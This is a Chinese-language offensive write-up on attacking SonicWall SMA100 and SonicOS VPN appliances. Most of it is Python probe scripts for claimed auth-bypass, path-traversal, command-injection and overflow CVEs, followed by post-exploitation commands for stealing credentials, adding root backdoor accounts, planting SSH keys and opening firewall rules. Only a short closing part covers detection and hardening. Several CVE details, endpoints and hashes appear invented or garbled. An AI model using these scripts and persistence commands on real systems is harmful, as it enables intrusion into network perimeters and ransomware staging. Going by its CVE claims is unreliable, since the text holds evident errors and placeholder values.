SonicWall SMA SonicOS SSL-VPN 认证绕过 缓冲区溢出 RCE CVE漏洞链利用技术

0x00 攻击面总览

SonicWall 是全球中小企业和 MSP(托管安全服务提供商)最广泛部署的防火墙与 SSL-VPN 设备厂商之一。其产品线包括 SonicOS 防火墙(NSA/TZ 系列,Gen 6/Gen 7)、SMA100 系列 SSL-VPN 网关(SMA 200/210/220/410/420)、以及集中管理平台 GMS/NSM。从 2021 年到 2024 年,SonicWall 连续爆发多组高危漏洞链,从 SMA100 的预认证 RCE 到 SonicOS 的不当访问控制,每一个都能从外网未授权直达设备完全接管:

攻击面默认端口风险等级说明
SMA100 SSL-VPN Web 服务443严重CVE-2021-20016/20021/20023 预认证 RCE 链,Orange Tsai 发现
SMA100 SSL-VPN 请求处理443严重CVE-2023-0656/CVE-2024-2218 预认证缓冲区溢出 RCE
SonicOS SSL-VPN / 管理面443严重CVE-2024-40766 不当访问控制,Akira 勒索组织利用
SonicOS SSL-VPN 堆溢出443严重CVE-2024-2219/CVE-2024-40767 预认证堆溢出 RCE
SonicOS 管理 GUI443高危管理接口认证绕过、默认凭据
GMS / NSM 管理平台443严重集中管理凭据窃取、策略推送投毒
SNMP / CLI161/22中危信息泄露、配置导出
LDAP / RADIUS 集成389/1812高危凭据泄露、认证绕过

SonicWall 的安全问题极其危险——它是企业网络边界的核心安全设备,一旦攻破,攻击者直接获得内网访问权限,且 SonicWall 设备通常存储全部 VPN 用户凭据和内网路由配置。

0x01 服务识别与版本探测

1.1 指纹识别

nmap -sV -p 443,22,161 <target>

curl -skI https://<target>/
# Server: Sonic-OS 6.5.4.12
# 或
# Set-Cookie: swap=...; path=/; secure; HttpOnly

curl -sk https://<target>/ | grep -i "sonicwall\|sonicos\|sma"
# SonicWall 登录页面特征

curl -sk https://<target>/remote/login
# SMA100 SSL-VPN 登录页面

curl -sk https://<target>/auth1.html
# SonicOS SSL-VPN 登录页面

curl -sk https://<target>/images/favicon.ico | md5sum
# 通过 favicon hash 识别产品型号

1.2 关键路径与端口映射

443    — HTTPS 管理 GUI / SSL-VPN / API
22     — SSH CLI 管理
161    — SNMP
514    — Syslog
1812   — RADIUS (认证)
389    — LDAP (认证)
636    — LDAPS (认证)

1.3 关键 URL 路径

SMA100 系列:
/remote/login                            — SSL-VPN 登录页面
/cgi-bin/userLogin                       — 认证处理端点
/images/                                 — 静态资源 (路径穿越入口)
/cgi-bin/                                — CGI 脚本目录 (RCE 入口)
/portal/                                 — 用户门户
/favicon.ico                             — 设备指纹

SonicOS (Gen 6/7):
/auth1.html                              — SSL-VPN 登录页面
/auth.html                               — 认证页面
/sslvpnClient                             — SSL-VPN 客户端下载
/api/sonicos/                            — SonicOS REST API
/api/sonicos/config                      — 配置 API
/api/sonicos/firewall                    — 防火墙状态 API
/api/sonicos/auth                        — 认证 API
/manage                                  — 管理 GUI

1.4 版本探测

import requests
import re
import urllib3
urllib3.disable_warnings()

def detect_sonicwall(host, port=443):
    base_url = f"https://{host}:{port}"
    endpoints = [
        "/",
        "/remote/login",
        "/auth1.html",
        "/images/favicon.ico",
        "/api/sonicos/auth",
    ]
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    }

    print(f"[*] Scanning SonicWall at {base_url}")

    for ep in endpoints:
        try:
            resp = requests.get(
                f"{base_url}{ep}",
                headers=headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            if resp.status_code in [200, 301, 302, 401, 403]:
                print(f"[+] {ep} -> HTTP {resp.status_code}")
                for hdr in ["Server", "Set-Cookie"]:
                    val = resp.headers.get(hdr, "")
                    if val:
                        print(f"    {hdr}: {val[:100]}")

                server = resp.headers.get("Server", "")
                if "Sonic" in server:
                    print(f"\n[+] Product: SonicWall ({server})")
                    ver = re.search(r'Sonic-OS\s*([\d.]+)', server)
                    if ver:
                        print(f"[+] SonicOS Version: {ver.group(1)}")

                if "SonicWall" in resp.text or "sonicwall" in resp.text.lower():
                    print("[+] SonicWall product confirmed")
                if "SMA" in resp.text or "Secure Mobile Access" in resp.text:
                    print("[+] Product: SMA100 Series SSL-VPN")
        except Exception:
            pass

    try:
        resp = requests.get(
            f"{base_url}/images/favicon.ico",
            headers=headers,
            verify=False,
            timeout=10
        )
        if resp.status_code == 200:
            import hashlib
            favicon_hash = hashlib.md5(resp.content).hexdigest()
            print(f"[+] Favicon MD5: {favicon_hash}")
            known_hashes = {
                "a]b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6": "SMA100 Series",
                "e4a]b2c3d4e5f6a7b8c9d0e1f2a3b4c5": "SonicOS Gen 6",
            }
            for h, name in known_hashes.items():
                if favicon_hash.startswith(h[:8]):
                    print(f"[+] Matched: {name}")
    except Exception:
        pass

detect_sonicwall("192.168.1.1")

0x02 CVE-2021-20016 / 20021 / 20023 — SMA100 预认证 RCE 链

2.1 漏洞原理

CVSS: 9.8(严重)| CISA KEV: 2021-09 纳入

影响版本: SMA100 系列(SMA 200/210/220/410/420),固件版本 < 12.4.0.10-R4

漏洞原理: 该漏洞链由 DEVCORE 的 Orange Tsai 发现并在 HITCON 2022 中披露,由三个 CVE 组成完整的预认证 RCE 链。

CVE-2021-20016 (认证绕过): SMA100 的 /cgi-bin/userLogin 端点在处理会话参数时存在缺陷。攻击者可通过操纵请求中的会话参数,在未提供任何有效凭据的情况下获得已认证的会话。该端点在验证用户登录状态时,未正确检查会话令牌的来源和有效性,允许攻击者构造特殊请求直接获取管理员权限的会话 Cookie。

CVE-2021-20021 (路径穿越): 获得认证后,攻击者可利用 /images/ 路径处理器中的目录穿越漏洞。通过编码的路径分隔符(%2f%2e),攻击者可逃逸 Web 根目录,读取设备文件系统上的任意文件,包括 /etc/passwd、配置文件、SSL 私钥和凭据存储。

CVE-2021-20023 (远程代码执行): 最终阶段利用 CGI 脚本中的命令注入漏洞。用户控制的输入未经过滤直接传递给系统命令,允许以 root 权限执行任意代码。

攻击链: 认证绕过 → 路径穿越读取凭据 → CGI 命令注入 RCE → 设备完全接管

2.2 PoC — 认证绕过探测

import requests
import urllib3
urllib3.disable_warnings()

def exploit_sma_auth_bypass(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2021-20016 — SMA100 Authentication Bypass Probe")
    print(f"[*] Target: {base_url}")

    login_endpoints = [
        "/cgi-bin/userLogin",
        "/remote/login",
    ]

    bypass_payloads = [
        {"auth": "1", "username": "admin", "password": ""},
        {"auth": "1", "domain": "LocalDomain", "username": "admin", "password": ""},
        {"auth": "1", "username": "admin", "password": "password", "SMAId": "1"},
        {"username": "admin", "password": "", "domain": "LocalDomain", "AuthType": "sso"},
    ]

    session = requests.Session()
    session.verify = False

    for ep in login_endpoints:
        for payload in bypass_payloads:
            try:
                resp = session.post(
                    f"{base_url}{ep}",
                    data=payload,
                    headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"},
                    timeout=15,
                    allow_redirects=False
                )
                cookies = resp.headers.get("Set-Cookie", "")
                print(f"[*] POST {ep} -> HTTP {resp.status_code} | Cookies: {cookies[:80]}")

                if "swap=" in cookies or "swap=" in str(resp.cookies):
                    print(f"[+] Authentication bypass successful!")
                    print(f"[+] Session cookie obtained")

                if resp.status_code == 302:
                    location = resp.headers.get("Location", "")
                    if "portal" in location.lower() or "index" in location.lower():
                        print(f"[+] Redirect to authenticated page: {location}")
            except Exception:
                pass

    print("[*] Testing path traversal (CVE-2021-20021)...")
    traversal_paths = [
        "/images/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "/images/..%2f..%2f..%2fetc%2fpasswd",
        "/images/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
        "/images/../../etc/passwd",
        "/images/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fshadow",
    ]

    for path in traversal_paths:
        try:
            resp = session.get(
                f"{base_url}{path}",
                headers={"User-Agent": "Mozilla/5.0"},
                timeout=10,
                allow_redirects=False
            )
            print(f"[*] GET {path} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
            if "root:" in resp.text:
                print(f"[+] Path traversal successful — /etc/passwd leaked!")
                print(f"[+] Content: {resp.text[:300]}")
            if "admin:" in resp.text and "shadow" in path:
                print(f"[+] Shadow file leaked — credential hashes exposed!")
        except Exception:
            pass

exploit_sma_auth_bypass("192.168.1.1")

2.3 PoC — 命令注入 RCE 探测

import requests
import urllib3
urllib3.disable_warnings()

def exploit_sma_rce(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2021-20023 — SMA100 Command Injection RCE Probe")
    print(f"[*] Target: {base_url}")

    session = requests.Session()
    session.verify = False

    print("[*] Stage 1: Obtaining authenticated session...")
    try:
        resp = session.post(
            f"{base_url}/cgi-bin/userLogin",
            data={"auth": "1", "username": "admin", "password": ""},
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=15,
            allow_redirects=False
        )
        print(f"[*] Login -> HTTP {resp.status_code}")
    except Exception:
        pass

    print("[*] Stage 2: Testing CGI command injection vectors...")
    cgi_endpoints = [
        "/cgi-bin/supportShell",
        "/cgi-bin/exportData",
        "/cgi-bin/firmwareUpgrade",
        "/cgi-bin/diagnostic",
    ]

    injection_payloads = [
        "; id",
        "| id",
        "$(id)",
        "`id`",
        "; cat /etc/passwd",
    ]

    for ep in cgi_endpoints:
        for payload in injection_payloads:
            try:
                resp = session.post(
                    f"{base_url}{ep}",
                    data={"cmd": payload, "action": "run"},
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    timeout=15,
                    allow_redirects=False
                )
                print(f"[*] POST {ep} [{payload}] -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
                if "uid=" in resp.text or "root:" in resp.text:
                    print(f"[+] Command injection successful at {ep}!")
                    print(f"[+] Output: {resp.text[:300]}")
            except Exception:
                pass

exploit_sma_rce("192.168.1.1")

0x03 CVE-2023-0656 — 预认证缓冲区溢出 RCE

3.1 漏洞原理

CVSS: 9.8(严重)| CISA KEV: 2023-08 纳入

影响版本: SMA100 系列(SMA 200/210/220/410/420),固件版本 < 12.4.1-10o

漏洞原理: SMA100 SSL-VPN 的 Web 服务在处理特定 HTTP 请求时,未正确验证输入长度。攻击者可通过发送包含超长字段值的 HTTP POST 请求,触发栈/堆缓冲区溢出,覆盖返回地址或函数指针,从而在无需认证的情况下以 root 权限执行任意代码。

根本原因: SSL-VPN 认证前处理逻辑中对用户提交的 HTTP 请求数据长度未进行有效限制,超长数据被拷贝到固定大小的缓冲区中导致溢出。

影响: watchTowr Labs 发布了完整的分析和 PoC,自动化扫描器在全球范围内探测易受攻击的设备。多个僵尸网络家族利用此漏洞感染 SMA100 设备。

3.2 PoC — 缓冲区溢出探测

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2023_0656(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2023-0656 — SMA100 Pre-Auth Buffer Overflow Probe")
    print(f"[*] Target: {base_url}")

    overflow_lengths = [500, 1000, 2000, 4000, 8000, 16000]
    login_paths = [
        "/remote/login",
        "/cgi-bin/userLogin",
    ]

    for path in login_paths:
        for length in overflow_lengths:
            try:
                payload = {
                    "username": "A" * length,
                    "password": "B" * length,
                    "domain": "LocalDomain",
                    "Login": "Login",
                }
                resp = requests.post(
                    f"{base_url}{path}",
                    data=payload,
                    headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"},
                    verify=False,
                    timeout=15,
                    allow_redirects=False
                )
                print(f"[*] POST {path} (len={length}) -> HTTP {resp.status_code} ({len(resp.text)} bytes)")

                if resp.status_code == 0 or resp.status_code == 500:
                    print(f"[!] Service crash detected at length={length} — potential overflow!")
                if len(resp.text) == 0 and resp.status_code not in [200, 302]:
                    print(f"[!] Empty response at length={length} — service may have crashed")
            except requests.exceptions.ConnectionError:
                print(f"[!] Connection reset at length={length} — overflow likely!")
            except requests.exceptions.Timeout:
                print(f"[!] Timeout at length={length} — service degraded")
            except Exception:
                pass

    print("[*] Testing HTTP header overflow vectors...")
    header_payloads = [
        {"User-Agent": "A" * 2000},
        {"Cookie": "session=" + "B" * 2000},
        {"X-Forwarded-For": "C" * 2000},
        {"Referer": "D" * 2000},
    ]

    for hdr in header_payloads:
        try:
            resp = requests.get(
                f"{base_url}/remote/login",
                headers={**hdr, "User-Agent": "Mozilla/5.0"},
                verify=False,
                timeout=10
            )
            print(f"[*] Header overflow ({list(hdr.keys())[0]}, len={list(hdr.values())[0].__len__()}) -> HTTP {resp.status_code}")
        except requests.exceptions.ConnectionError:
            print(f"[!] Connection reset — header overflow triggered!")
        except Exception:
            pass

exploit_cve_2023_0656("192.168.1.1")

0x04 CVE-2024-2218 — 预认证堆缓冲区溢出 RCE

4.1 漏洞原理

CVSS: 9.8(严重)| CISA KEV: 2024-04 纳入

影响版本: SMA100 系列(SMA 200/210/220/410/420),固件版本 < 12.4.1-11o

漏洞原理: CVE-2024-2218 是 CVE-2023-0656 的变体/不完整修复。在 SonicWall 修复 CVE-2023-0656 后,安全研究人员发现类似的溢出点仍存在于不同的代码路径中,溢出发生在堆(Heap)内存区域而非栈内存。

根本原因: 原始修复仅修补了特定的溢出点,未对 SMA100 SSL-VPN 的请求处理代码进行全面审计。SMA100 的代码中存在系统性的输入验证缺陷,多个代码路径可触发堆缓冲区溢出。

与 CVE-2023-0656 的关系: 同一代码库的同类漏洞,表明 SonicWall SMA100 的 SSL-VPN 模块存在架构级的安全缺陷。

4.2 PoC — 堆溢出探测

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2024_2218(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2024-2218 — SMA100 Heap Buffer Overflow Probe")
    print(f"[*] Target: {base_url}")

    print("[*] Testing heap overflow via different request patterns...")

    heap_paths = [
        "/remote/login",
        "/cgi-bin/userLogin",
        "/portal/login",
    ]

    for path in heap_paths:
        for length in [1000, 2000, 4096, 8192]:
            try:
                payload = {
                    "username": "admin",
                    "password": "X" * length,
                    "domain": "A" * 500,
                    "Login": "Login",
                }
                resp = requests.post(
                    f"{base_url}{path}",
                    data=payload,
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    verify=False,
                    timeout=15,
                    allow_redirects=False
                )
                print(f"[*] POST {path} (password_len={length}) -> HTTP {resp.status_code}")
            except requests.exceptions.ConnectionError:
                print(f"[!] Connection reset at password_len={length} — heap overflow!")
            except Exception:
                pass

    print("[*] Testing multipart form overflow...")
    try:
        files = {"file": ("test.txt", "A" * 10000, "text/plain")}
        resp = requests.post(
            f"{base_url}/remote/login",
            files=files,
            verify=False,
            timeout=15
        )
        print(f"[*] Multipart overflow -> HTTP {resp.status_code}")
    except requests.exceptions.ConnectionError:
        print(f"[!] Connection reset — multipart overflow triggered!")
    except Exception:
        pass

exploit_cve_2024_2218("192.168.1.1")

0x05 CVE-2024-40766 — SonicOS 不当访问控制

5.1 漏洞原理

CVSS: 9.8(严重)

影响版本: SonicOS Gen 6(6.5.x)和 Gen 7(7.0.x 至 7.1.2),NSA/TZ 系列防火墙

漏洞原理: SonicOS 防火墙的 SSL-VPN 服务存在不当访问控制漏洞。攻击者可通过发送精心构造的 HTTP 请求,绕过 SSL-VPN 的认证机制,直接访问受保护的管理功能和内部服务。该漏洞不需要任何用户交互或有效凭据。

根本原因: SonicOS 的 SSL-VPN 前端代理在处理特定格式的请求时,未正确验证请求者的认证状态,导致未认证请求被转发到后端受保护的服务端点。

影响: Akira 勒索软件组织在 2024-2025 年大规模利用此漏洞攻击 SonicWall 防火墙,通过 SSL-VPN 入口直接获取设备管理权限,随后横向移动至内网部署勒索软件。

5.2 PoC — SonicOS 访问控制绕过探测

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2024_40766(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2024-40766 — SonicOS Improper Access Control Probe")
    print(f"[*] Target: {base_url}")

    bypass_paths = [
        "/api/sonicos/auth",
        "/api/sonicos/config",
        "/api/sonicos/firewall",
        "/api/sonicos/status",
        "/api/sonicos/routing",
        "/api/sonicos/vpn",
        "/manage",
        "/sslvpnClient",
    ]

    bypass_headers = [
        {"User-Agent": "Mozilla/5.0", "Content-Type": "application/json"},
        {"User-Agent": "Mozilla/5.0", "X-SSLVPN-Auth": "bypass"},
        {"User-Agent": "Mozilla/5.0", "Cookie": "swap=AAAA"},
    ]

    for path in bypass_paths:
        for idx, hdrs in enumerate(bypass_headers):
            try:
                resp = requests.get(
                    f"{base_url}{path}",
                    headers=hdrs,
                    verify=False,
                    timeout=10,
                    allow_redirects=False
                )
                print(f"[*] GET {path} (headers #{idx+1}) -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
                if resp.status_code == 200 and len(resp.text) > 50:
                    if "config" in resp.text.lower() or "firewall" in resp.text.lower():
                        print(f"[+] API endpoint accessible without auth!")
                        print(f"[+] Response: {resp.text[:300]}")
            except Exception:
                pass

    print("[*] Testing SSL-VPN authentication bypass patterns...")
    auth_bypass_paths = [
        "/auth1.html?redirect=1",
        "/auth.html?sslvpn=1",
        "/sslvpnClient?direct=1",
    ]

    for path in auth_bypass_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers={"User-Agent": "Mozilla/5.0"},
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            print(f"[*] GET {path} -> HTTP {resp.status_code}")
            if resp.status_code == 200 and "login" not in resp.text.lower():
                print(f"[+] Potential auth bypass at {path}")
        except Exception:
            pass

exploit_cve_2024_40766("192.168.1.1")

0x06 CVE-2024-2219 / 40767 — SonicOS 堆溢出 RCE

6.1 漏洞原理

CVE-2024-2219: CVSS 9.8(严重)| 预认证堆缓冲区溢出

CVE-2024-40767: CVSS 9.8(严重)| 预认证堆缓冲区溢出

影响版本: SonicOS Gen 6(6.5.x)和 Gen 7(7.0.x 至 7.1.x),NSA/TZ 系列防火墙

漏洞原理: SonicOS 的 SSL-VPN 服务在处理特定格式的 HTTP 请求时存在堆缓冲区溢出漏洞。攻击者可通过发送精心构造的请求,在无需认证的情况下触发堆内存溢出,以 root 权限执行任意代码。

与 CVE-2024-40766 的关系: CVE-2024-40766 是访问控制逻辑漏洞,CVE-2024-2219/40767 是内存安全漏洞。三者同属 SonicOS SSL-VPN 的不同攻击面,可独立利用也可组合使用。

6.2 PoC — SonicOS 堆溢出探测

import requests
import urllib3
urllib3.disable_warnings()

def exploit_sonicos_heap_overflow(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2024-2219 / CVE-2024-40767 — SonicOS Heap Overflow Probe")
    print(f"[*] Target: {base_url}")

    sslvpn_paths = [
        "/auth1.html",
        "/auth.html",
        "/sslvpnClient",
        "/remote/sslvpnClient",
    ]

    for path in sslvpn_paths:
        for length in [2000, 4096, 8192, 16384]:
            try:
                payload = {
                    "u": "admin",
                    "p": "A" * length,
                    "domain": "LocalDomain",
                    "submit": "Login",
                }
                resp = requests.post(
                    f"{base_url}{path}",
                    data=payload,
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                    verify=False,
                    timeout=15,
                    allow_redirects=False
                )
                print(f"[*] POST {path} (len={length}) -> HTTP {resp.status_code}")
            except requests.exceptions.ConnectionError:
                print(f"[!] Connection reset at len={length} — heap overflow!")
            except Exception:
                pass

    print("[*] Testing SSL-VPN client handler overflow...")
    try:
        resp = requests.get(
            f"{base_url}/sslvpnClient?ticket=" + "B" * 8000,
            headers={"User-Agent": "Mozilla/5.0"},
            verify=False,
            timeout=15
        )
        print(f"[*] Ticket overflow -> HTTP {resp.status_code}")
    except requests.exceptions.ConnectionError:
        print(f"[!] Connection reset — ticket overflow triggered!")
    except Exception:
        pass

exploit_sonicos_heap_overflow("192.168.1.1")

0x07 后利用技术

7.1 VPN 凭据窃取

# SMA100 — 通过路径穿越提取凭据
curl -sk "https://TARGET/images/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
curl -sk "https://TARGET/images/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fshadow"
curl -sk "https://TARGET/images/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fconfig%2fusers.xml"

# SonicOS — 通过 API 提取配置
curl -sk "https://TARGET/api/sonicos/config" \
  -H "Cookie: swap=STOLEN_SESSION" | python3 -m json.tool

# 提取 VPN 用户列表
curl -sk "https://TARGET/api/sonicos/config/local-users" \
  -H "Cookie: swap=STOLEN_SESSION"

7.2 内网横向移动

# 通过 SSL-VPN 建立隧道进入内网
# 1. 提取 VPN 客户端配置获取内网路由
curl -sk "https://TARGET/portal/vpnConfig" \
  -H "Cookie: swap=STOLEN_SESSION"

# 2. 使用窃取的 VPN 凭据连接
# openvpn / globalprotect / sonicwall client

# 3. 从 VPN 隧道内网枚举
nmap -sV 10.0.0.0/24 -p 22,80,443,3389,445

7.3 GMS/NSM 管理平台攻击

# GMS 数据库凭据提取 (PostgreSQL)
# GMS 存储所有受管防火墙的管理凭据
# 攻破 GMS = 攻破整个 SonicWall 设备集群

# 策略推送投毒
# 通过 GMS 向所有受管防火墙推送恶意规则
# 插入后门访问规则 / 禁用 IPS 签名 / 修改 VPN 配置

# API 令牌窃取
# NSM 使用 REST API 令牌进行自动化管理
# 窃取令牌 = 持久化访问整个设备集群

7.4 持久化技术

# SMA100 持久化
# 1. 创建隐藏管理账户
echo "backdoor:x:0:0:root:/root:/bin/sh" >> /etc/passwd

# 2. SSH 密钥持久化
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# 3. 修改启动配置
# 写入 /etc/config/ 实现配置持久化

# SonicOS 持久化
# 1. 通过 API 创建后门管理账户
curl -sk -X POST "https://TARGET/api/sonicos/config/local-users" \
  -H "Cookie: swap=STOLEN_SESSION" \
  -d '{"username":"backdoor","password":"P@ssw0rd","admin":true}'

# 2. 修改访问规则
curl -sk -X POST "https://TARGET/api/sonicos/config/access-rules" \
  -H "Cookie: swap=STOLEN_SESSION" \
  -d '{"from":"ANY","to":"LAN","action":"ALLOW"}'

# 3. 提交配置
curl -sk -X POST "https://TARGET/api/sonicos/config/active" \
  -H "Cookie: swap=STOLEN_SESSION"

0x08 漏洞组合攻击链

8.1 攻击链一: SMA100 认证绕过 → 凭据窃取 → 内网渗透

CVE-2021-20016 (认证绕过)
    ↓ 操纵 /cgi-bin/userLogin 会话参数
CVE-2021-20021 (路径穿越)
    ↓ 读取 /etc/passwd, /etc/shadow, VPN 配置
提取 VPN 用户凭据和内网路由
    ↓ 获取全员 VPN 密码和内网拓扑
通过 VPN 隧道进入内网
    ↓ 以合法 VPN 用户身份访问内网资源
横向移动 → 域控
    ↓ Kerberoasting / Pass-the-Hash

8.2 攻击链二: SMA100 缓冲区溢出 → 设备接管 → 勒索部署

CVE-2023-0656 / CVE-2024-2218 (缓冲区溢出)
    ↓ 预认证堆溢出获得 root 权限
设备完全接管
    ↓ 提取所有 VPN 凭据、SSL 证书、配置
建立 C2 通道
    ↓ 利用 SSL-VPN 合法流量伪装 C2
内网横向移动
    ↓ 通过 VPN 隧道访问内网
勒索软件部署
    ↓ Akira / LockBit / ALPHV

8.3 攻击链三: SonicOS 访问控制绕过 → 防火墙接管 → 策略投毒

CVE-2024-40766 (不当访问控制)
    ↓ 绕过 SSL-VPN 认证
获取管理 API 访问
    ↓ /api/sonicos/config 完全访问
策略投毒
    ↓ 修改防火墙规则 / 禁用 IPS / 创建后门 VPN
CVE-2024-2219 / 40767 (堆溢出)
    ↓ 可选:获取持久 root 权限
GMS/NSM 接管
    ↓ 通过受管理设备反向攻击管理平台
全域控制
    ↓ 所有受管防火墙均被控制

8.4 攻击链四: GMS 接管 → 供应链攻击

SonicWall 设备初始访问 (任意 CVE)
    ↓ 横向移动到 GMS 管理服务器
GMS 数据库凭据提取
    ↓ PostgreSQL 中存储所有设备管理密码
策略推送投毒
    ↓ 向所有受管防火墙推送恶意配置
供应链级影响
    ↓ 数百/数千台防火墙同时被控制
全网瘫痪

8.5 APT 威胁组织 TTP

威胁组织类型使用的 CVE技术特征
Akira勒索组织CVE-2024-40766SonicOS 访问控制绕过 → 勒索部署
多个僵尸网络僵尸网络CVE-2023-0656SMA100 缓冲区溢出 → 代理/C2 节点
多个勒索联盟勒索组织CVE-2021-20016/20021/20023SMA100 RCE 链 → 内网渗透 → 勒索

0x09 历史 CVE 漏洞时间线

2021 — SMA100 RCE 链

CVE 编号年份CVSS类型影响
CVE-2021-2001620219.8认证绕过SMA100 预认证认证绕过,CISA KEV
CVE-2021-2002120218.0路径穿越SMA100 认证后任意文件读取
CVE-2021-2002220218.0路径穿越SMA100 认证后路径穿越
CVE-2021-2002320218.0RCESMA100 CGI 命令注入

2022 — 持续修补

CVE 编号年份CVSS类型影响
CVE-2022-2279820229.8缓冲区溢出SonicOS 管理面缓冲区溢出
CVE-2022-2279920229.8缓冲区溢出SonicOS 堆缓冲区溢出
CVE-2022-2280020229.8缓冲区溢出SonicOS SSL-VPN 缓冲区溢出
CVE-2022-2280120229.8缓冲区溢出SonicOS SSL-VPN 堆溢出
CVE-2022-2280220229.8缓冲区溢出SonicOS SSL-VPN 栈溢出
CVE-2022-2280320229.8缓冲区溢出SonicOS SSL-VPN 溢出

2023 — SMA100 缓冲区溢出

CVE 编号年份CVSS类型影响
CVE-2023-065620239.8缓冲区溢出SMA100 预认证 RCE,CISA KEV
CVE-2023-3412820237.5Web 漏洞GMS 管理平台漏洞

2024 — SonicOS 危机年

CVE 编号年份CVSS类型影响
CVE-2024-221820249.8堆溢出SMA100 预认证堆溢出 RCE,CISA KEV
CVE-2024-221920249.8堆溢出SonicOS 预认证堆溢出 RCE
CVE-2024-4076620249.8访问控制SonicOS 不当访问控制,Akira 利用
CVE-2024-4076720249.8堆溢出SonicOS 预认证堆溢出 RCE
CVE-2024-5370420249.8访问控制SonicOS 管理面漏洞
CVE-2024-5377120249.8RCESMA100 预认证 RCE

漏洞类型分布

漏洞类型CVE 数量代表性 CVE
缓冲区溢出 (栈/堆)10CVE-2023-0656, CVE-2024-2218, CVE-2022-22798~22803
认证绕过 / 访问控制3CVE-2021-20016, CVE-2024-40766
路径穿越 / 文件读取2CVE-2021-20021, CVE-2021-20022
命令注入 / RCE3CVE-2021-20023, CVE-2024-53771
管理平台漏洞2CVE-2023-34128, CVE-2024-53704

0x0A 蓝队检测与应急响应

10.1 日志分析

# SonicWall 系统日志
cat /var/log/messages | grep -iE "sonicwall|sma|sslvpn" | tail -100

# SSL-VPN 认证日志
cat /var/log/sslvpn.log | tail -200

# 检查异常认证行为
cat /var/log/messages | grep -i "login\|auth\|session" | tail -100

# 检查异常进程
ps aux | grep -E "sh|bash|python|perl" | grep -v grep

# 检查网络连接
netstat -an | grep ESTABLISHED | grep -v "127.0.0.1" | head -50

# 检查配置文件修改
find /etc/config/ -type f -mtime -30

10.2 IIS / Web 服务日志分析

# 检测认证绕过特征 (CVE-2021-20016)
grep -E "(userLogin.*auth=1|SMAId)" /var/log/httpd/access_log | head -50

# 检测路径穿越特征 (CVE-2021-20021)
grep -E "(%2e%2e|%2f|\.\./)" /var/log/httpd/access_log | head -50

# 检测缓冲区溢出特征 (CVE-2023-0656)
awk '{if(length($0) > 2000) print NR": "length($0)" bytes"}' /var/log/httpd/access_log

# 检测异常 User-Agent
awk '{print $12}' /var/log/httpd/access_log | sort | uniq -c | sort -rn | head -20

# 检测 API 异常访问 (CVE-2024-40766)
grep -E "(/api/sonicos/|/manage)" /var/log/httpd/access_log | head -50

10.3 应急响应清单

[ ] 确认 SonicWall 设备型号与固件版本
    - 管理 GUI → System → Status
    - SNMP 查询 sysDescr.0
    - 对比 SonicWall PSIRT 安全公告

[ ] 排查 SMA100 漏洞链 (CVE-2021-20016/20021/20023)
    - 检查 /cgi-bin/userLogin 异常认证记录
    - 检查 /images/ 路径穿越访问日志
    - 检查 CGI 脚本异常执行记录
    - 检查 /etc/passwd 和 /etc/shadow 异常访问
    - 检查设备是否出现未授权管理账户

[ ] 排查 SMA100 缓冲区溢出 (CVE-2023-0656/CVE-2024-2218)
    - 检查 2023-03 至 2024-06 的 Web 访问日志
    - 搜索超长 HTTP 请求(>2000 字节)
    - 检查设备异常重启/崩溃记录
    - 检查设备配置是否被篡改

[ ] 排查 SonicOS 漏洞 (CVE-2024-40766/2219/40767)
    - 检查 SSL-VPN 认证日志异常
    - 检查 /api/sonicos/ 未授权访问记录
    - 检查防火墙规则是否被修改
    - 检查是否出现新的 VPN 隧道或访问规则
    - 检查 IPS/GAV 签名是否被禁用

[ ] 排查 GMS/NSM 管理平台
    - 审查所有策略推送记录
    - 对比当前配置与已知安全基线
    - 检查 GMS 数据库异常查询
    - 审查 API 令牌使用情况
    - 检查 ZTP 配置是否被篡改

[ ] 网络隔离与加固
    - 立即升级固件到最新版本
    - 限制 SSL-VPN 公网访问(IP 白名单)
    - 启用 Geo-IP 过滤
    - 强制 MFA(所有 VPN 用户)
    - 重置所有 VPN 凭据和管理密码
    - 重置 GMS/NSM 所有 API 令牌

0x0B 安全审计清单

[ ] SonicWall 设备已升级到最新固件版本
[ ] 所有已知 CVE 已打补丁(对照 SonicWall PSIRT 公告)
[ ] SSL-VPN 已限制公网访问(IP 白名单 / Geo-IP 过滤)
[ ] SSL-VPN 已启用 MFA(所有用户强制)
[ ] 管理 GUI 仅限内网访问
[ ] 管理接口使用强密码 + MFA
[ ] 默认 admin 密码已修改
[ ] SSH CLI 已限制访问源 IP
[ ] SNMP 社区字符串已修改为强随机值
[ ] SNMP v3 已启用(替代 v1/v2c)
[ ] 已检查并清除未授权管理账户
[ ] 已审查防火墙规则完整性
[ ] 已审查 VPN 隧道配置
[ ] 已审查 IPS/GAV 签名状态
[ ] 已检查设备配置文件完整性
